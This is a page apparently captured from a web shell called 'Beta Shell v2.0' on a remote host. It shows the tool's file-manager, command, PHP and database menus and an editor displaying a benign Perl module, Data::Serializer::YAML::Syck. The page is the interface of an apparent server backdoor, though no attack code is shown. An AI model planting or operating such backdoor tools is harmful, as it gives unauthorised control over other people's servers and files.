Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
perl5
/
vendor_perl
/
Data
/
Serializer
/
YAML
Upload
3 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
Syck.pm
947 B
-rw-r--r--
2019-10-31 18:29:20
Edit
Del
Editing: Syck.pm
(947 B)
Path: /usr/share/perl5/vendor_perl/Data/Serializer/YAML/Syck.pm
Back
package Data::Serializer::YAML::Syck; BEGIN { @Data::Serializer::YAML::Syck::ISA = qw(Data::Serializer) } use warnings; use strict; use YAML::Syck; use vars qw($VERSION @ISA); $VERSION = '0.02'; sub serialize { return YAML::Syck::Dump($_[1]); } sub deserialize { return YAML::Syck::Load($_[1]); } 1; __END__ =head1 NAME Data::Serializer::YAML::Syck - Creates bridge between Data::Serializer and YAML::Syck =head1 SYNOPSIS use Data::Serializer::YAML::Syck; =head1 DESCRIPTION Module is used internally to Data::Serializer =over 4 =item B<serialize> - Wrapper to normalize serializer method name =item B<deserialize> - Wrapper to normalize deserializer method name =back =head1 AUTHOR Naoya Ito <naoya@bloghackers.net> =head1 COPYRIGHT This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 SEE ALSO perl(1), Data::Serializer(3), YAML::Syck(3). =cut